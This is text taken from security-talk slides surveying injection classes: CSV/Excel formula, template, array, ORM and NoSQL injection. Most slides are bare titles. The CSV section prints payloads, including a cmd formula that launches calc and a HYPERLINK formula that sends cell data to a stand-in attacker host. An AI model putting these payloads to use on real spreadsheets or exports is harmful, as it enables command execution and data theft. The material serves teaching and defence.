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About me

#trùmthịphi < WTF? 



This talk is not about

• SQL Injection 

• XXE Injection 

• LDAP Injection 

• XML/Xpath Injection 

• …



New trends
• CSV/ Excel Macro injection 

• Template Injection 

• Array Injection 

• Object Injection 

• NoSQL injection 

• ORM injection 

• …



CSV Excel Macro 
Injection
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Generic payload:

=cmd’/C calc’!A0 
-2+3+cmd|' /C calc'!A0 
=HYPERLINK(“https://Attacker.com/evil.html?data="&A1&A2, 
"Click to view additional information") 
……..

CSV Excel Macro Injection



1. The attacker creates data with a name prefixed 
with a = and containing a malicious formula 

2. Someone (admin/victim) opens the CSV export and 
ignores warnings about the formulas that appear 
in the file

CSV Excel Macro Injection



CSV Excel Macro Injection



CSV Excel Macro Injection



CSV Excel Macro Injection



CSV Excel Macro Injection



CSV Excel Macro Injection
Data hijacking
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Data hijacking



CSV Excel Macro Injection

Data hijacking



Template Injection



Template Injection

.Client-side template injection 

.Server-side template injection
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Server-Side Template Injection

….
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Template Injection
Sever-side template injection seems like XSS… But its more 
dangerous
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Template Injection
How to identify template engine?



Template Injection
Exploiting unsandboxed template engines

Smarty

Mako



Template Injection
Exploiting sandboxed template engines

TWIG



Template Injection
Exploiting sandboxed template engines

TWIG



Array Injection 



ORM Injection 



NoSql Injection



g4mm4! 
your time 

is 
up!!!



https://www.owasp.org/index.php/CSV_Excel_Macro_Injection 
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ 
https://pentestmag.com/formula-injection/ 
https://gist.github.com/quantumfoam/fec4ab9083133523f489 
http://www.slideshare.net/mmetince/breaking-the-frameworks-core-phpkonf-2016? 
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-
RCE-For-The-Modern-Web-App-wp.pdf 
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html 
https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/ 
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